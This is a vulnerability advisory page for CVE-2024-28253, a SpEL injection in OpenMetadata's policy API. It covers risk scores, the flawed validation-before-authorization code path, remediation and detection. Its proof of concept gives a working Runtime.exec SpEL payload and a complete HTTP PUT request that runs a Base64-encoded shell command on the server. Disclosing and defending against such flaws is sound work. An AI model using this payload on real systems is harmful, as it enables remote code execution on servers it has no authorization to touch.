CVE-2024-28253 — openmetadata-service
CRITICALCVE-2024-28253 is a critical-severity (CVSS 9.4) Code Injection vulnerability in org.open-metadata:openmetadata-service. 1 public exploit or proof-of-concept reference is indexed, so weaponization risk is real. A fix is available for org.open-metadata:openmetadata-service — see the affected versions and patch details below.
SpEL Injection in `PUT /api/v1/policies` in OpenMetadata
Exploitation Status
No confirmed exploitation observed yet
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for CVE-2024-28253.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
org.open-metadata:openmetadata-serviceReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.
Description
SpEL Injection in PUT /api/v1/policies (GHSL-2023-252)
Please note, only authenticated users have access to PUT / POST APIS for /api/v1/policies. Non authenticated users will not be able to access these APIs to exploit the vulnerability
CompiledRule::validateExpression is also called from PolicyRepository.prepare
@Override
public void prepare(Policy policy, boolean update) {
validateRules(policy);
}
...
public void validateRules(Policy policy) {
List<Rule> rules = policy.getRules();
if (nullOrEmpty(rules)) {
throw new IllegalArgumentException(CatalogExceptionMessage.EMPTY_RULES_IN_POLICY);
}
// Validate all the expressions in the rule
for (Rule rule : rules) {
CompiledRule.validateExpression(rule.getCondition(), Boolean.class);
rule.getResources().sort(String.CASE_INSENSITIVE_ORDER);
rule.getOperations().sort(Comparator.comparing(MetadataOperation::value));
// Remove redundant resources
rule.setResources(filterRedundantResources(rule.getResources()));
// Remove redundant operations
rule.setOperations(filterRedundantOperations(rule.getOperations()));
}
rules.sort(Comparator.comparing(Rule::getName));
}
prepare() is called from EntityRepository.prepareInternal() which, in turn, gets called from the EntityResource.createOrUpdate():
public Response createOrUpdate(UriInfo uriInfo, SecurityContext securityContext, T entity) {
repository.prepareInternal(entity, true);
// If entity does not exist, this is a create operation, else update operation
ResourceContext<T> resourceContext = getResourceContextByName(entity.getFullyQualifiedName());
MetadataOperation operation = createOrUpdateOperation(resourceContext);
OperationContext operationContext = new OperationContext(entityType, operation);
if (operation == CREATE) {
CreateResourceContext<T> createResourceContext = new CreateResourceContext<>(entityType, entity);
authorizer.authorize(securityContext, operationContext, createResourceContext);
entity = addHref(uriInfo, repository.create(uriInfo, entity));
return new PutResponse<>(Response.Status.CREATED, entity, RestUtil.ENTITY_CREATED).toResponse();
}
authorizer.authorize(securityContext, operationContext, resourceContext);
PutResponse<T> response = repository.createOrUpdate(uriInfo, entity);
addHref(uriInfo, response.getEntity());
return response.toResponse();
}
Note that even though there is an authorization check (authorizer.authorize()), it gets called after prepareInternal() gets called and therefore after the SpEL expression has been evaluated.
In order to reach this method, an attacker can send a PUT request to /api/v1/policies which gets handled by PolicyResource.createOrUpdate():
@PUT
@Operation(
operationId = "createOrUpdatePolicy",
summary = "Create or update a policy",
description = "Create a new policy, if it does not exist or update an existing policy.",
responses = {
@ApiResponse(
responseCode = "200",
description = "The policy",
content = @Content(mediaType = "application/json", schema = @Schema(implementation = Policy.class))),
@ApiResponse(responseCode = "400", description = "Bad request")
})
public Response createOrUpdate(
@Context UriInfo uriInfo, @Context SecurityContext securityContext, @Valid CreatePolicy create) {
Policy policy = getPolicy(create, securityContext.getUserPrincipal().getName());
return createOrUpdate(uriInfo, securityContext, policy);
}
This vulnerability was discovered with the help of CodeQL's Expression language injection (Spring) query.
Proof of concept
- Prepare the payload
- Encode the command to be run (eg:
touch /tmp/pwned) using Base64 (eg:dG91Y2ggL3RtcC9wd25lZA==) - Create the SpEL expression to run the system command:
T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode("dG91Y2ggL3RtcC9wd25lZA==")))
- Encode the command to be run (eg:
- Send the payload using a valid JWT token:
PUT /api/v1/policies HTTP/1.1
Host: localhost:8585
sec-ch-ua: "Chromium";v="119", "Not?A_Brand";v="24"
Authorization: Bearer <non-admin JWT>
accept: application/json
Connection: close
Content-Type: application/json
Content-Length: 367
{"name":"TeamOnlyPolicy","rules":[{"name":"TeamOnlyPolicy-Rule","description":"Deny all the operations on all the resources for all outside the team hierarchy..","effect":"deny","operations":["All"],"resources":["All"],"condition":"T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode('dG91Y2ggL3RtcC9wd25lZA==')))"}]}
- Verify that a file called
/tmp/pwnedwas created in the OpenMetadata server
Impact
This issue may lead to Remote Code Execution by a registered and authenticated user
Remediation
Use SimpleEvaluationContext to exclude references to Java types, constructors, and bean references.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| ☕Maven | org.open-metadata:openmetadata-service | all versions | 1.3.1org.open-metadata:openmetadata-service:1.3.1 |
Affected Products
openmetadataopen-metadataResearch use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for org.open-metadata:openmetadata-service, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update org.open-metadata:openmetadata-service to 1.3.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2024-28253 is resolved across your whole dependency graph.
Workarounds
Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.
How to detect CVE-2024-28253
A community-maintained Nuclei template exists for this CVE. You can scan for it directly:
nuclei -id cve-2024-28253 -u https://target- Template
- OpenMetaData - SpEL Injection in PUT /api/v1/policies
- Severity
- critical
- Impact
- Attackers can execute arbitrary code remotely, potentially leading to full system compromise.
- Remediation
- Upgrade to version 1.3.1 or later.
Template by ProjectDiscovery nuclei-templates (daffainfo), MIT licensed. View the full template. Scan only systems you are authorised to test.
Frequently Asked Questions
Is CVE-2024-28253 in your dependencies?
Find it across Maven, including transitive dependencies.